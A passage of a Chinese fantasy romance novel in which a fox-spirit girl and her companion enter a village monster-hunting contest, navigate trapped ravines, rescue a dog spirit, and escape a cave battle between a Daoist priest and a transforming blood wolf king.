君梦眼睛发亮,尾巴还摇了摇,奔着人群打算过去。
顾桃一把拉住她,手动扭转了她面朝的方向。
“莫慌,百年小狐妖,砍你的道长还没来,我们先去报了名再慢慢逛。”
君梦刮了他一眼,咬碎嘴里的糖渣,心不甘情不愿的跟上脚步。
……
两人跟在一个挎竹篮的妇人身后,默默地听她絮絮叨叨。
“猎什么妖哦?咱们自己就是妖……那叫‘除厄大赛’,降伏的是那些有危害的恶物。”
“今年奖励好像是顶好的铠甲和兵器……”
“咱们镇子小,能人不多,镇长这法子真是不错,吸引各方修者来保卫咱们……”
吧啦吧啦吧啦……
走过大半条街,转了两个弯,君梦感觉被念叨得要长脑子了,终于在一棵老槐树下见到了报名处。
台阶上头石墙石瓦带着大院,显得派头十足。
大门边上挂着黑边木牌,雕刻着“除厄”。
“喏,那里就是镇长大人办公的别院。”妇人朝门口扬了扬下巴。
收下顾桃递来的两枚铜铢,喜笑颜开往旁边小街道去了。
顾桃上前敲了敲半掩的朱红大门:“有人在吗?”
少顷,从门后传来脚步声,随着风动,一股奇怪的花香涌出来。
躲在门缝偷瞄的君梦忍不住打了个喷嚏,花香里还混杂着某种刺鼻的味道。
“吵吵什么!”
人还没出来就响起尖细鄙夷的音调。
随着话音,一只留着尖指甲的胖手扶着门,将肥胖的身躯挤了出来。
胖子留着两撇八字胡,加上肿胀的小眼睛,活脱脱一副胖老鼠样。
君梦翻了个白眼躲到退回台阶边的顾桃身后。
八字胡一看两人年轻稚嫩的模样,嘴角撇得更厉害了:“来捣乱的?!”
顾桃不卑不亢道:“我们兄妹二人路过此地,听说镇上正在举办‘除厄大赛’,想着来凑凑热闹,搏一搏那奖励。请问,可是在此处报名?”
八字胡猥琐的目光在君梦露出的小脸上来回扫视。
顾桃皱了眉头,不着痕迹彻底挡住他的视线。
“哼,弱不禁风的小妖可拿不到名次。”
八字胡翘起兰花指,两根手指捻了捻一侧的胡须,重新在他的身上上下打量:“你嘛……倒是可以试试。”
他耷拉下眼皮,从袖里摸出一张黄纸,“嗖”地如离弦之箭般朝顾桃心窝射去。
黄纸泛起淡淡红光,显然是附着了妖力。
顾桃不慌不忙,右手背过去将身后的君梦一揽,猛地伸出左手两指夹住擦身而过的小纸张。
八字胡见没有为难住他,忽然尖声笑道:“姓名,法器,都写上。没有这个,报名可不作数。”
随后便抛过来一支炭尖竹杆笔。
15. 除厄大赛
顾桃看了他一眼,就着手掌垫了黄纸,拿起炭笔便落下大名,法器写着宣花。
君梦见八字胡莫名偷袭,顿时横眉竖眼瞪他,心里将他剐了八百遍。
待顾桃写罢,她从他手中抢过笔,抓着他垫黄纸的手,歪歪扭扭在他的名字旁边也落下自己名字。
思考片刻,临时给藤鞭起了个名,于是她的法器写着:绿玉。
“呵呵~有点意思。”
也不顾两人的不悦,八字胡又盯着君梦看,眯成一条缝的小眼睛带着不怀好意。
“嗖!噗!”
顾桃可不惯着他,手腕翻飞还了他一纸一笔。
八字胡肥肥胖胖的,反应却很快,险险躲过接连两击,胖胖的身子往后一个趔趄,晃得肚子上的肉肉一抖一抖。
绕着白光的小黄纸逐渐暗淡,边角被笔尖扎穿,就钉在他身后木门上。
八字胡收起笑容,恶狠狠道:“你们就剩一晚准备时间,比赛场地在落霞岭,两日后取回带秽气的妖丹,以手上妖丹的品质排名。”
说完,他刚要转身,又补充道:“生死由命!”一脸的阴狠毒辣。
随后将黄纸化作一阵烟收回掌中,留下两片两指宽的小木牌挂在笔杆上,拂袖离去。
“哼!死胖子!参加完比赛我再收拾你!”
君梦气呼呼地一跺脚。
顾桃松开紧握的拳头,上前取回木牌。回身前重新换上温和的表情,“走吧,先去找个住的地方。”
两人离去后不久,石院上方隐隐飘浮出一团模糊黑雾,片刻后消散于空中。
石院最里头的主屋内,一团模糊黑影横卧在榻上,它猛地朝悬浮在面前的几排黄纸用力一嗅,心满意足道:
“这两只小妖,妖力纯净异常,想必妖丹也很是滋补……嘿嘿~”
“好的,主人。”
跪在地上的八字胡阴侧侧一笑。
……
二人寻了处摊子吃饱喝足。
顾桃擦掉她嘴角的糕渣,笑容和煦:“吃饱了正好活动活动筋骨,想去镇外那山上瞧瞧吗?赛场总归先去摸个底要好些。”
君梦捻着两块没吃完的花糕,腮帮子鼓囊囊地点点头。
两人并肩,踩着石板路往南门走。
出关的时候被换了班的守卫拦下。
那守卫一脸不耐,挥手道:“走走走,这边可不是什么人都能过去的地方,小情侣换个地方散步去。”
君梦刚想咽下最后一口花糕张嘴怼他,没想到急急忙忙地却被糕点噎住。
顾桃赶紧递过水壶让她喝了两口,拍着背给她顺气。
末了抬起头回道:“我们是参加除厄大赛的,来得晚了些,想探查一下路线免得迷了方向。”
顾桃向守卫展示吊在指尖的小木牌,上头红漆书写着小小的“除厄”。
“唔!”守卫微微惊讶,收回手中刀刃放了行,“过去吧……”
等他们走过去后才小声与同伴嘟囔:可真年轻……
穿过一片树林,眼前是略熟悉的大道。
顾桃指引着君梦,朝另一条山间小路走去,羊肠小道弯弯曲曲往山顶蔓延,越发陡峭。
果露的岩石上生着暗绿的苔藓,踩上去滑溜溜的。
“抓紧了。”
顾桃自然伸手,君梦坦然接过。
两人气喘吁吁爬到山顶时,天边刚被染上第一抹橘红。
君梦一屁股坐到边缘一块平整的大岩石上。
不经意间伸头往下看去,惊呼出声。
只见稀薄的云层下,小镇就像被打翻的胭脂盒。
错落的屋顶新旧不一,混合着各色的招牌旗幡,主街上还能看见人来人往的剪影,像移动的墨点,更像搬家的蚂蚁。
镇子外围淌过大河,河面碎银似的光,映出温柔而炽热的余晖,如梦似幻。
“小心些。”
顾桃轻笑着嘱咐道,接着独自来到西面的崖边眺望。
远处连绵的黄砂岩组成一片片石崖,夕阳照在上面,就像给嶙峋的石林镀了层金,那方就是落霞岭了。
君梦见他举起手指在前方动作微小地比划,知道他是在临空画图,以便牢牢记在心中,便也不出声打扰,只静静迎风凝望他的背影。
被风吹乱的发丝沿着脸颊飘浮在眼前,挡住了她眼前风光。
她有些急切地拂开发丝,将手轻轻拦在眉眼旁,视野便又清晰起来。
那少年总喜欢把雪白长发挽起,宽肩窄腰无遮无挡。
但见他背脊挺直,一双长腿衬得身形愈发高挑健硕,流畅收紧的狗腰在光线下勾勒出极具力量感的弧度……
“梦儿,你看那儿。”
顾桃发现了什么 ,冲身后招招手,出声打断她的幻想。
君梦拉回神智乖巧上前,顺着他指尖的方向看过去。
她用手搭起凉棚,语气带着不确定:“那是……洞府?”。
就在视野的尽头,崖顶最险要的地方,有个黑黑的洞口微微冒光,两旁对称地立起尖锐石柱。
圆弧洞顶上,卧着一具白森森的巨大骨架,分辨不出是什么物种的遗骨。
两人对视一眼,心中皆有了点底。
“走吧,该下山了。”
顾桃刚想转身,却被一把拉住了。
“你看!”君梦双眼亮晶晶提着天边。
不知何时,夕阳已经沉到了山尖,漫天的云霞像是被一把火点燃,从橘红到绯红,一层层晕染开来。
山风呼呼地吹,带着草木的清香,吹得少女长发飘起,拂过少年卷起袖口果露的手臂,有些痒。
盛景当前,他们干脆就地并眉坐下。
少女的头轻轻靠过去,他低下头就能看到她纤长浓密的睫毛。
顾桃心头一软,不动声色地握紧了她垂在身侧的手。
少女傲娇说道:“明天比赛,可要好好跟着我。”
“嗯,好……”
宠溺的语气低声笑答。
……
每年这个时候,镇上都比往常热闹些。
下午报完名后,两人好不容易在镇上寻到一家还有间备用房的客栈,以极贵的房钱才得以住下。
此时打好地铺的顾桃,正准备吹灭灯火,可眼里晃过那一抹烛光,便想起夕阳下,少女透亮红润的肌肤。
回过身见床铺上的姑娘睡得香香甜甜,忍不住弯了嘴角。
他从须臾袋内取出纸笔,轻手轻脚坐到桌前,就着烛火,画了一只蹲坐在山顶看落日的小狐狸……
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……
天边薄雾,光亮渐起,镇子东头的擂鼓声便炸响开来。
顾桃检查着随身携带的物品,君梦则趴在桌上打了个哈欠,泪花闪烁。
“起身,出发了。”顾桃好笑地拉起她来:“抢着要画押的是你,赖着不肯动身的还是你……”
“谁说的!”
不满他调侃的语气,君梦利落直起身子,抓起桌上藤鞭往腰上一甩,鞭子便自动盘了上去。话音还未落,人已经迈出房门好几步。
“……”
镇长别院前的空场地,早已聚满各类种族,似互相排斥嫌弃般,各自扎成了一大堆和两小撮:
左边大堆的是妖鬼,多数身材娇小的兔雀狐豺豹凑在前方耳语;第二圈的男女妖托着各式兵器,顶着鹿角、犀角彰显身份特征;最后面就是青面獠牙的山鬼扛着粗大狼山棒;还有慵懒盘在头顶槐树枝上、虽是人形却吐着信子的蛇妖。
中间二女三男,耳边均有白羽,肌肤雪白,个个貌美。这是仙灵族,生来有翅可翱于天际,一向眼高于顶,不屑与外族打交道,也不知是什么风将他们给吹落在此处。
右边则是三位人族的中年道长,手持宝剑傲气十足。只是要么没胡子,要么胡子还没白,倒显得没那么仙风道骨。
道人的旁边,还单独站了个身着红袍黑腰带、双手抱胸的年轻人。
看他头顶束着墨玉发冠,透着凛然之气。可视线往下,那斜飞的眉峰微微挑起,唇角一抹似笑非笑的弧度,却是满脸放荡不羁的模样。
赤手空拳却周身灵力,这样的灵力波动,也不知道来这样的小场合凑个什么热闹。
君梦伏在顾桃的肩背上好奇往里张望,忽地挣脱他背扶的单手跳下来,两只爪子紧张兮兮抓着顾桃衣角,往他身后缩了缩。
“桃哥,有道长来了哎!”
他两最后才赶到,只能站在最外围,倒是一边也没沾上,只好在边缘偷摸观察。
顾桃的目光从红袍男子身上收回,低头安抚道:“不怕,这是妖族地界,他们不会怎么样的。”
然而又想起之前调侃她的话:百年小狐妖,砍你的道长还没来。
不禁笑了起来,接着后腰就挨了一拳头……
“时辰已到,除厄大赛正式开始!”
“哐!……”
铜锣声带着悠长回音。
群妖众魔高声呼喊着,如潮水般极速涌向南门,道路两旁站满了围观群众,人挤人的好不热闹。
与此同时,仙灵族五人背后巨大白翅凭空展现,就地拔高,认了方向便从近道直飞而去。
君梦眼睛都看直了,老半天才憋出来三个字,语气里满是羡慕:“真好看!”
另一边的道人们倒是从容稳重,恭请了最年长那位走在最前方,一行人不慌不忙走向主街。
“二位,倒真是不急。”
一道优雅的打趣声在身旁响起。
年轻的红袍男子面带笑容,手中把玩着不知从哪摸出来的玉制短笛,竟悄无声息地靠近了他们。
顾桃一惊,先是将君梦护在身后,警惕地冲男子点点头,作了个请势,接着拉起君梦转身就走。
男子见状也不恼,嘴角弧度更深了,默默跟在他们身后,保持着恰到好处的距离。
16. 危机四伏
进入落霞岭没多久,顾桃便刻意避开众妖所过之处,牵着君梦钻进角落那条最窄的砂岩裂缝。
刚走几步,头顶突然坠下数十块尖锐岩石。
他猛地将君梦往身后一推,手掌摊开宣花立现,提起斧头竖着就劈了过去,硬生生从尖石堆中劈出一条道来。
妖力从斧刃溢出,撞得碎石往两旁砸落。
还未来及喘息,岩壁上原本垂着的大片藤蔓,如诈尸一般活了过来,像无数绿色触角抽向两人。
“桃哥莫砍!”君梦的声音急急响起。
她一边提醒一边快速抽出腰间绿玉,甩出鞭身绕过顾桃身子,精准缠上那片藤蔓。
原本暗红的双瞳闪过一道光亮,红雾状的妖毒顺着鞭子涌过去,瞬间将藤蔓引燃。火舌燎得它们滋滋作响,发出婴儿啼哭般的尖啸,而后迅速枯萎成焦黑的绳状物。
君梦手腕一抖收回绿玉,脸上挂起邀功的谄媚笑容:“这是血藤蛊,汁水溅到身上可没好果子吃。”
说着,身后的尾巴还跟小狗似的摇了摇。
顾桃别过脸,故意装作没看见她那副求表扬的模样。
“看来此处被人设了阵,在山顶时我倒是没有发现,不过也说明路是对的。”
趁她还没撒娇,赶紧遁走,声音里带着笑意催促:“跟紧我。”
穿过血藤蛊阵,眼前的路径更加狭窄了,仅容得一人通过。
两旁岩顶上还生着矮壮的怪树,枝头挂着红透的串串浆果。
顾桃在前开路,君梦在后紧跟。
两人刚进入路径中央,脚下覆盖着枯草的岩块乍然张开,似巨兽大嘴般的利齿错落排列,将他们吞入腹内。
圆肚型的深嘴中满是尖刺,上头还挂着些许白骨。嘴壁生着茂密根须,看来这就是岩顶怪树的本体,应是以血肉为食。
两人虽对脚下防备不足,但好在反应极快。
顾桃反手抡起斧柄,猛然插入怪嘴那处因根须粗壮而裂开的岩缝,硬生生止住下坠的势头。
君梦手中绿玉也及时缠上他的腰,吊落在他身下晃荡。
此时怪嘴已经快要合拢,顾桃喊了一声:“梦儿!”同时绞起腰间藤鞭,用力往上一荡。
两人默契自小训练,君梦立刻顺势飞起身形。
她浑身绷紧,身体倒立着弯曲双膝,以膝盖击向怪嘴利齿。
只听“咔嚓”一声脆响,怪嘴刚闭上,她的脚尖已从破碎的门牙伸出,险险挂在岩嘴边缘。
而绿玉也在她的意念之下,快速新长出嫩绿藤条紧裹于腰。
顾桃见她倒吊着,不敢有半分耽搁。大力拔出斧柄,翻转斧背狠狠拍向嘴壁,借着两方的力道顺着藤茎便腾空而起,瞬间跃出地面。
他还未落地,便抓紧手中藤往自己身边一带。
还倒悬在怪嘴中的君梦只觉腰身一紧,接着整个人不受控制地被拉扯出豁牙怪嘴,稳稳当当落入岩嘴边缘站立的顾桃怀中。
两人相视一笑也不多语,顾桃一手提着宣花,一手搂着君梦股部,让她双手紧紧环在自己颈间,抬起长腿迈过豁口便向前飞奔。
“好身手!”
身后突然低低响起赞扬声,仍是那般悄无声息就出现。
一直跟着二人的红袍男子从怪树旁边显露身形,背在身后的短笛托在掌中转了个圈,另一只手则摘下一颗红色浆果。
他嘴角缓缓挑起,两根手指“吧唧”捏破果子,那果子汁液还来不及沾染到男子肉身,便化作一阵黑烟随风而去。
……
顾桃带着君梦奔跑许久,四周再也没有任何异常动静,方才寻了处岔路口停下脚步,得以喘息片刻。
顾桃此时得闲问道:“受了伤么?”
“没有。”
君梦摇了摇头,虽说膝盖有点疼,但她不愿以这点小事拖慢进程。
两人喝了点水,正准备继续往前。
忽然,斜上方传来激烈的打斗声,兽类低吼此起彼伏。
顾桃本不想多生事端,可他架不住君梦一阵软磨硬泡。
他无奈地打量了一下那条持续弯曲往上的道路。
这条路在上方,已经和另外两路渐渐汇合,倒也不担心绕行太多。
于是带着君梦走向分叉,往声响来源寻去。
转过一道山坳,前面闷响声已然近在咫尺,伴随断断续续的痛呼声。
只见一处厚实岩壁下,有个穿灰布短打的男子,正被一只半妖化的恶狼掐着脖子按在地上。
男子胸前被划出几道狰狞伤口,他拼命挣扎,双手抓挠恶狼手臂,脸色涨红,眼球突出,眼看就支撑不了多久了。
君梦二话不说,抡起炎蛊鞭就朝恶狼脊背抽去,烙红的鞭子沾在它后背的鬃毛上,烫得对方嗷嗷嚎叫。
恶狼吃痛,当即松开身下的男子,转身亮出尖利的獠牙,恶狠狠地盯住君梦。
就在狼妖弓起背准备进攻,顾桃拽着宣花往它跟前一跨,咧开嘴角龇着牙,低沉的虎啸自喉中滚出,犀利的双眼回瞪过去。
狼妖顿时偃旗息鼓,两耳一趴,嘤嘤哼叫两声。见顾桃没有其他动作,这才调转方向四蹄着地往山下狂奔而去。
那男子挣扎着坐起来,露出一张方正的脸。浓眉大眼,下颌处有道浅浅疤痕,看着面相有几分和善。
他拱手苦笑道:“多谢二位搭救!”
君梦嗅嗅空气中两种混合的味道。
“犬妖?山犬遇上狼祖宗,被压着打,不亏。”
她嘻嘻一笑,语气里尽是调侃,紧接着又问道:“看你也不像有什么妖力,怎地在这种地方?”
君梦的直白让顾桃忍不住捂额。
“呃……”
男子窘迫地挠了挠头,露出三角尖耳。
“我本是流落到镇上的,四年前快饿死时被镇长救下,他还给我了一间破屋住。”
他不好意思地看看君梦,又低下头继续说:“后来我发现像我这样的孤妖不少,想着报答,便学着镇长收留那些不能自理的小妖,现下家里已有十余个小家伙……”
君梦没什么耐心听他慢慢道来,蹲下身子打断他,问道:“那你是来参赛的还是迷了路?”
“……我、我想搏点奖励换些粮食。”男子声音更低了,“我没什么大本事,就是识得路,便抄了这条近道,本想着万一运气好……”
男子回想起刚遇上“祖宗”时,“祖宗”却对他流口水,运气着实不太好,暗暗叹了口气,说不下去了。
“你知道山崖上的洞府吗?”
顾桃开口,捡了个最重要的问题。
男子脸色凝重起来,沉重答道:“听说过!”。
“那是恶妖血狼王的洞府,听说里头藏着它修行数百年的妖丹。”
他看了眼旁边竖着耳朵听故事的少女,眉头紧锁,担忧地追问:“莫非你们是要去那里?”
君梦点了点头。
顾桃抬手轻轻拍了拍她的脑袋,示意她起身出发。
男子此时已经缓过劲,也跟着
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站了起来,顾不上浑身灰扑扑的尘土,急忙拦下两人,紧张道:
“去不得去不得!那恶妖性情残暴,每年都要抓好些小妖去填肚子,你们年纪轻轻,绝不是它的对手,莫要白白送了性命啊!”
“你叫什么名字?”
君梦突然没头没脑地问了一句。
“呃??”
突如其来莫名的问话让他有些措手不及,睁着大眼半响才回过神,“我、我叫善余。”
“噗嗤——!鳝鱼!哈哈哈哈……”
君梦捂着肚子,笑得泪花闪烁。
等笑够了,才从顾桃怀兜里摸出几颗金铢,递到善余跟前,诚挚地睁着亮晶晶的眼,提醒他赶紧接着,别耽搁了他们赶路。
“我……谢、谢谢!”
善余激动的不知说什么好,手足无措地在身上来回摸索,最后从兜里抓出一把油纸包的糖果。
原本这是今早趁集市吃食众多又便宜,买了要带回去给孩子们。
君梦接过了糖果包,他才小心翼翼捧着双手接下金铢,左右张望后揣进衣衫内兜,紧紧捂住。
顾桃冲他笑了笑,示意他不必放在心上,又为他指了身后的来时路:“从这边走,道路基本已经清理干净了,应该比你原路返回要安全。”
“嗯!你们……你们可一定要当心!妖丹不取也罢,留下性命更要紧!”
善余见他们意志坚定,也不好再啰嗦相劝。
“会的,回去吧。”
再三感谢告别了他们,善余往山脚走去。
他脸上乐滋滋的,已经盘算好要再去市集一趟,重新买点糖果和肉食,自己打的猎实在少了些,小家伙们好久都没饱饱吃顿肉了。
“哎呀,本来想趁乱捡两颗妖丹来着,结果啥也没捞到,还搭上那么多钱!”.
君梦捻起一颗甜丝丝的糖果丢进嘴里,皱起眉头开始后悔,总觉得这趟买卖亏大了。
“呵呵,傻乎乎的……”
顾桃看着她这副娇憨的模样,心情不由大好。贴心地替她收起手中的糖包,放进自己怀兜中。
“嗷!咬你啊!”
妮子气鼓鼓地瞪了他一眼。
……
“前方就是洞口了,多加小心。”
顾桃抬起头,看向斜上方的石窟,声音压低了几分。
那洞口挂着一串惨白的骷髅头,眼窝深处还燃着幽绿的鬼火。想必是恶妖将猎物的肉吃了,却把他们的魂魄囚禁在头骨内,好替它看家护院。
君梦跟着抬头时,却晃眼瞥见空中一闪过而的流光。
再细看,高处竟蒙着一层薄雾,如透明大彩虹般罩在半空,时不时反射出五彩的光芒。
这透明罩子范围之广,几乎覆盖了大半落霞岭,源头正是洞顶上那副巨大骨架,不到近前实在难以发现。
她拉了拉顾桃的衣摆:“你瞧,那是什么?”
“结界……?”
顾桃也吃了一惊,表情凝重,冷哼道:“手笔倒是不小,看来这恶妖确实不好对付。”
“难怪空中一个会飞的都没有。”
君梦心中暗爽:那几只鸟儿长得好看又有什么用,在这片地界飞不动,通通会被压制落地,估摸着还在下方石林里绕圈子呢,嘿嘿!
“你就在这里,我去看看。”
顾桃攥紧斧柄,正要从隐藏身形的石壁迈出去,却闻到空气中飘来一阵淡淡的香烛纸火味。
他暗道一声:不好,那几个道人竟然也到了。
17. 腹背受敌
最为年长的那位道长独自一人,踏着七星步匆匆赶来,道袍下摆还沾着不少绿色妖血。
顾桃立刻缩回身子,重新隐匿起来,暗中对君梦比了个噤声的手势。
他心里盘算着,干脆就让这老道替他们去探探路。
清承道长来到洞口,四溢的妖气实在令人难受,环顾四周并无他人,忍不住往地上唾了一口。
但一想到传闻中的半千妖丹即将得手,又感到欢喜不已,那点不快便算不得什么了。
他当然不需要小妖们眼中“顶好”的装备或武器,只是这颗六百年往上的妖丹,正好可以给自己炼药而已。
打着带领弟子参赛长见识的幌子,也不过是给自己脸上贴金,毕竟修道者夺妖丹练药又不是什么好名声。
清承道长轻蔑地扫了一眼那串骷髅头,语气中满是不屑:“此等弱小结界,能耐我何?”
随即口中念念有词,手中黄符“啪”地飞身拍在骷髅串上。
骷髅串骤然受到攻击,下方两颗头骨眼眶内的鬼火突然暴涨三尺,结成一团黑雾瞬间封闭了洞门。
上边三颗头骨张开嘴“嘎嘎”大笑,嘴中猛然喷出烈焰,烧化了黄符便直冲道长而去。
道长脸现疑惑,只惊讶了一瞬,立即抽出插在后腰的拂尘一甩,银丝铺散,硬是挡下灼烧的火花。
三颗头骨一击不成,张开大嘴猛吸一口,准备再来一轮。
然而,清承道长却不给它们机会了。
他左手持拂尘,右手拔剑,跺地跃起一剑劈去,骷髅头还未喷出的火焰便憋在口中化为一缕黑烟。
“咔嚓”声接连脆响,五颗头骨碎裂,眼眶内的鬼火也逐渐熄灭,被黑雾封闭的洞口又露出了原本的模样。
道长得意一笑。
可他没来得及收起法剑,洞窟深外突然传出尖利的嘶鸣。
大群妖蛛头顶八只血红的眼,口器周围满是尖刺,呼拉拉涌出来。
他只觉得满眼都是腿,晃得眼花缭乱。
挥舞拂尘,缠住蛛妖往前拉,长剑祭出往它腹部一刺……
旋转,跳跃,攻守兼备,一气呵成!
……
“呼~~呼……”
清承道长勉强用剑撑地,看着满地的妖尸,胸中跳如雷鼓,大口大口喘着粗气。
山下石林中,众多种族齐聚一堂,为了抢夺林中恶妖妖丹,相互之间大打出手。
更有甚者,为了争抢一只小小的赤虎,反手就朝同族捅刀子。
他也是激斗了一番才到达此处。
江湖险恶啊……
清承道长摇摇头,强打精神站稳,潇洒挽了个剑花,甩掉剑身沾染的恶臭妖血。
好嘛,这步子还未迈出,那黑漆漆的洞窟内,又冒出一片绿眼,层层叠叠,伴随阵阵狼群的低吟。
道长怒道:“有完没完?!”
新一轮的缠斗又开始,道长怒不可遏,却也万般无奈,只能用眼前仿佛杀不完的狼妖撒气。
“就是现在,走!”
顾桃眼看双方纠缠,甚欢。
拉起道人出现后就脸色发青的君梦,两人贴着边角暗处挪动,猫了腰就要偷摸溜进妖府。
清承道长虽然累得不行,眼神却是又尖又毒。
他眼角余光瞄见偷偷摸摸的两人,实在是有个家伙块头又大,白发还惹眼。
顿时愤怒大喝:“好你两只小妖,也敢觊觎我的妖丹!”
话音未落,拔腿便想追。
这声怒喝吓得君梦尾巴都炸了毛,反手抓住顾桃一溜烟直往前蹿。
就这一点分神的功夫,道长被趁机绕后的两只狼妖咬住小腿和衣摆,拖住他的脚步。
周围狼群见状一拥而上,道长气急败坏,一时竟无法脱身。
啊呸!江湖果真险恶!……
洞穴内弥漫着铁锈般的腥气,宽大的内里,石壁顶上嵌着发光的磷石。
然而深邃的洞中空无一妖,似乎已经全妖出动了。
两人不敢大意,万分警觉往前摸索。
约摸一柱香的功夫,终于到达更加宽扩的洞窟底部。
洞窟中央设立一座石台,上方悬浮着一颗鸽子蛋大小的透明球状物,周围萦绕着的腥红妖力正缓缓旋转。
“就是它!”
君梦大喜,抬脚就要上前,不成想被顾桃拉了一个趔趄。
“滋溜……”
一对巨大绿眼冒着蓝色火焰,突然从妖丹背后的暗处倏地睁开。
接着缓慢露出淌下腥气涎水的尖吻:“香甜可口的味道……”
那声音犹如砂纸在地面摩擦,刺耳得让人不禁皱起眉头。
血狼王狞笑着,伸出带倒刺的舌头舔了一口妖丹。
丹上红色像溪水一般流进入它的咽喉。可下一秒又蒙上一层腥红,仿佛无穷无尽取之不竭。
顾桃如临大敌,护着君梦蹑手蹑脚往后退。
他能感受到红色妖丹上的强大妖力,根本不属于这只恶妖。随着那一口吞咽,它身上的气息也更加浓厚起来。
不知道这家伙是从什么地方得来的宝贝,以这颗丹上的妖力来滋养自身。
血狼王似乎看出两人想逃,猛地扭身将妖丹挡在身后,利爪带着破空声横扫过来。
顾桃拽过君梦往身后狠狠一甩,举起宣花,双手撑着斧背硬生生挡上去。
可这一击力道无比巨大,他整个身体直接被利爪拍飞,划出一道弧线,重重砸在遍布尖锐细石的岩壁上。
“桃哥!”
稳稳落地的君梦满腔怒火,抽出绿玉附着了大量妖毒,猛地往血狼王头顶甩去。
绿玉感受着主人的愤怒,在空中张牙舞爪生长分枝。等落到狼身时,已是一张冒绿光的藤网。
妖毒沾了它的肉身,即刻冒出“滋滋”的腐蚀声。
血狼王疼得磨着牙低吼,狼爪踩住了藤网就要将它撕碎。
趁着它短暂被困,君梦撒腿就往顾桃身边飞奔。
两人使出吃奶的劲往洞口逃去。
这恶妖实力远超他们的预估,顾桃甚至开始满心懊悔,他不该将梦儿带来,他还是太高估自己了。
“小妖孽,受死!”
清承道长怒喝声响起。
他正浑身血迹往里冲,刚好撞上仓皇逃窜的两人。
他一肚子邪火,杀光了狼群还不解气。再次见到他们,真真是瞌睡来了有人递枕头,毫不犹豫跃起身影,抬了法剑就劈向君梦。
牛鼻子老道,使不完的牛劲!
“啊!”
君梦看着迎面而来的道长,吓得瞠目结舌,心里就剩一个念头:完了,砍我的道长还是来了……
顾桃手急眼快将她一把推开,大喊:“梦儿,冷静点!”
他双眉竖起,想也不想紧握斧柄,左手臂托起斧背,以刃挡刃接下这一剑。
剑与斧相撞,火花四溅。
“铮——”
清承道长修为颇高,这一剑劈得他“咚”地一声单膝跪了地,一股腥甜涌上喉咙。
君梦被兵刃相撞的火光一闪回过神来,眼见顾桃接连吃瘪,心中惊慌瞬间被按下,咬牙切齿露出一股杀气。
什么臭道士臭恶妖!我就拼你一个同归与尽又能怎样!十八年后老娘又是一条好汉!嗯?……好老娘?好姑娘?
脑中胡思乱想着,双眼瞪得老大,暗红的瞳刹时亮起,高举起爪子龇着牙,恶狠狠抓向道长面门。
空中呼啸声起,一道残影掠身而来,道长反应迅速,抽回法剑挡在眼前并顺势一挥。
然而却并没有砍中东西的感觉,反倒是自己额上麻木温热,两道血痕沿着眉骨流下。
清承道长暗暗吃惊:好快的身手!
趁着老道撤回法剑的间隙,已然收手的君梦早已落至顾桃身边。
她微微颤抖着,扶起受伤不轻的他。
顾桃捏了捏她的手,示意她别担心。
两人离道长远远的,双方陷入僵持。
就在这时,洞穴深处传来一阵“索索”声响,像是有什么东西正在快速靠近。
道长本就心有余悸,此时更是精神紧绷。秉着先发制人的理念
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,他举起法剑横于胸前,脚踏天罡再次攻过去。
两人神色一凛,不敢有半分松懈,凭着相处多年的默契往两边速散。
身心疲惫的道长扑了个空。
彼时,右边光线一暗,那高壮的身影忽地靠近,大掌伸来就想捏住他握剑的手腕。
道长忍住浑身疼痛,咬紧牙关迅速踏地飞跃,腾空翻身后躲。哪料背后再次一阵剧痛,凭空添了四道血痕。
道长落地时有些站不稳,以剑尖撑地,额上布满了冷汗。
小女妖瞪着他的倔强眼神,带着狠戾的寒意。
他们对身后的可疑声音置之不理,一边防备着他,一边缓步相互靠近,重新站到一起。
“嗖——”
一条藤蔓从地面快速游动过来,刚到小女妖跟前便如灵蛇般缠了上去,乖巧盘成一圈卧于她的腰间。
紧跟着,洞穴里又传出巨物的奔踏声,快速而沉重,两只小妖脸上闪过一丝慌乱。
清承道长趁他们分神,抓紧机会从怀中摸中三张黄符,指尖在脸上沾了血水点在符纸上,飞快念诵法决。
一抛,三张黄符飘浮空中,金光爆涨,如毒蛇般缠绕着飞向二人。
顾桃大骇,顷刻收了长斧,抱起君梦就往身后跑。
眼下急情,他必须冒险,只有将道长的纸符引向身后血狼王,让他们相斗,他才有机会带着怀中人离开。
符纸紧追不舍,道长也提起一口气跟了上来,妖丹就在眼前,他已经不可能退了。
“嗷!!”
血狼王刚追上来,就看到两只小妖折返回来,顿时欣喜地张开大嘴:啊~~快到我嘴里来。
顾桃没有多余的心思分析其他,只能努力感受着身后纸符上的灵气,抱着君梦直冲血狼王。
眼看就要撞进狼嘴时,他猛地跪地后仰,将君梦死死压在怀中,滑跪着从血狼王身下掠过。
两人刚险险避开,那三张纸符感受到了近前的巨大妖气和温度,“呼”地一声同时燃烧起来,汇聚成一颗大火球滚向血狼王的咽喉。
血狼王想闭嘴已经来不及了,一口吞下火球。
火球在它喉管里炸开,道长的法力烧得它在原地疯狂打转,体内灼烧的痛苦让它拼命用前爪刨腹,皮毛下的肌肉像沸水般翻腾。
一股难闻的焦臭味在空气中弥漫。
它知道再拖下去必定肠穿肚烂,最后一丝求生的欲望让它踉跄着往洞窟深处蹿。
每踏出一步都在地上留下冒青烟的巨爪印。
诡异的妖丹仍然悬浮在石台上,那片红雾就像招魂的使者,邀请血狼王品尝地狱的滋味。
它扑到跟前,顾不上浑身的灼痛,也顾不上自身修为根本不能炼化这颗丹,颤抖着将它囫囵吞下。
刹那间,血狼王前肢立起,后腿撑地,头颅高高昂起,一道红光从它七窍喷涌而出。
骨骼碎裂又重组的脆响不绝于耳,原本银灰色的狼毛纷纷脱落,浑身生出暗红色的鳞甲。绿眼中裂开三道竖瞳,涎水落地处竟被蚀出坑洼。
“啊!丹!”
“啊!孽障!!”
两声惊呼同时响起。
顾桃赶紧捂住君梦的嘴,按着她严严实实藏在暗处。
追来的清承道长眼见妖丹被吞,气得全身发抖,先前的疲惫和疼痛都消失了。
他冲着血狼王甩出拂尘,拂尘的银丝刚触到血狼新生的甲片,就被红光灼成飞灰。
失了智的血狼王受到攻击,猛地转头,腥风裹挟着妖丹的邪气扑面而来。
清承道长连忙掐决举剑,不敢再以剑术与之硬拼。
躲过一击后,窜出蓝光的法剑指向血狼王心口,随着他的口诀祭出一道雷电。
电光与红光碰撞,整个洞府都为之震动,洞中碎石簌簌落下。
砸在身上的石块让顾桃从惊愕中缓过神来。
趁着一妖一道相斗时无暇顾及他们,抱起同样惊骇的君梦,沿着石壁边缘撒腿就往外跑。
身后的洞府传来震耳欲聋的坍塌声和狼嚎,夹杂着清承道长肮脏的咒骂。
18. 伏击,躁动
两人很快隐没在渐浓的夜色里。
